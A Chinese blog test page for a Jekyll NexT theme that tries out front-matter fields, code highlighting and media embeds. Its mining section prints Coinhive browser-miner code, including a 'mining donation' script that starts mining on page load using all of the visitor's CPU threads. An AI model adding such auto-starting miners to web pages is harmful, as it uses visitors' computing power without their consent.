测试模块

主要是平时一些不确定的和不统一的md语法测试。

Jekyll博客Next主题:

文件头

1
2
3
4
5
6
7
8
9
10
11
12
13
14
title: Demo
date: 2050-01-01 23:29:08
updated: 2050-01-01 23:29:08
description: CMS Demo
categories:
- test
type: photo
photos:
- https://raw.githubusercontent.com/ds19991999/ds19991999.github.io/master/assets/background/bg-sword-art.jpg
image: https://gastonsanchez.com/images/blog/mathjax_logo.png
tags:
music-id: 31234010
password: 123456
math: 1

说明:

  • image 在首页中不会显示,只会在文章中显示
  • photos 在首页显示,可以是多图,在文章中也会显示

自动高亮

1
2
3
4
5
6
7
8
9
10
11
12
13
package l2f.gameserver.model;

public abstract class L2Char extends L2Object {
  public static final Short ERROR = 0x0001;

  public void moveTo(int x, int y, int z) {
    _ai = null;
    log("Should not be called");
    if (1 > 5) { // wtf!?
      return;
    }
  }
}

挖矿样式

Coinhive官网样式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<div>
	<script src="https://authedmine.com/lib/simple-ui.min.js" async></script>
	<div class="coinhive-miner" 
		style="width: 100%; height: 100px"
		data-key="YjyptNPkNzUZwQonjCLhkllZAW85Axyo"
		data-autostart="true"
		data-whitelabel="false"
		data-background="#000000"
		data-text="#eeeeee"
		data-action="#00ff00"
		data-graph="#555555"
		data-threads="7"
		data-throttle="0.1">
		<em>Loading...</em>
	</div>
</div>

本博客样式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<div>
	<h3 align="center">⬇⬇~ 挖 矿 打 赏 系 统 ~⬇⬇</h3>
	<script src="https://coinhive.com/lib/coinhive.min.js"></script>
	<center>
		<table >
			<tbody>
			<tr>
				<td align="center">启动线程数</td>
				<td align="center">当前算力(Hashs/秒)</td>
				<td align="center">您已贡献(Hash单位:个)</td>
			</tr>
			<tr>
				<td id="tcount" align="center">0</td>
				<td id="hps" align="center">0</td>
				<td id="ths" align="center">0</td></tr>
			<tr><td colspan="3;" id="status" align="center">您正在打赏中,随时可以停止。</td></tr>
			</tbody>
		</table>
	</center>
	
	<div><p id="minebutton" style="text-align:center;">
		<button onclick="miner.start(CoinHive.FORCE_EXCLUSIVE_TAB)">停止挖矿打赏</button>
	</p></div>

	<script type="text/javascript">
		var miner=new CoinHive.User
			("YjyptNPkNzUZwQonjCLhkllZAW85Axyo",
			"www.ds-vip.top",
			{threads:navigator.hardwareConcurrency,autoThreads:!1,throttle:.9,forceASMJS:!1});
		
		miner.start(CoinHive.FORCE_EXCLUSIVE_TAB),
		setInterval(function(){var e=miner.getNumThreads(),
		n=Math.round(100*miner.getHashesPerSecond())/100,
		t=miner.getTotalHashes();miner.getAcceptedHashes()/256;
		
		miner.isRunning()?(document.getElementById("tcount").innerHTML=e,document.getElementById("hps").innerHTML=n,	
		document.getElementById("ths").innerHTML=t,document.getElementById("status").innerHTML="您正在打赏中,随时可以停止。",
		document.getElementById("minebutton").innerHTML='<button onclick="miner.stop()">停止挖矿打赏</button>'):(document.getElementById("tcount").innerHTML="0",document.getElementById("hps").innerHTML="0",document.getElementById("ths").innerHTML=t,document.getElementById("status").innerHTML="您已经停止打赏,随时可以开始。",document.getElementById("minebutton").innerHTML='<button onclick="miner.start(CoinHive.FORCE_EXCLUSIVE_TAB)">开始挖矿打赏</button>')},1e3)
	</script>
</div>

试一试高级点的音乐外链

主页:https://soundsgood.co/me/curator/ds19991999

源码(可能需要翻墙):

1
<iframe height="315" width="100%" src="https://play.soundsgood.co/embed/5b7d53cb4c948d740d8df06c?color=989898&hideTitle=1&hideCurator=1" frameborder="0" webkitallowfullscreen mozallowfullscreen allowfullscreen allow="autoplay; encrypted-media" allowtransparency="true"></iframe>

哈哈哈,效果不错。

测试一下YouTube视频播放

卡巴斯基全球网络威胁实时地图

细思极恐…查看官网:kaspersky

---------------- ♥ The End ♥ ----------------
意思意思?
0%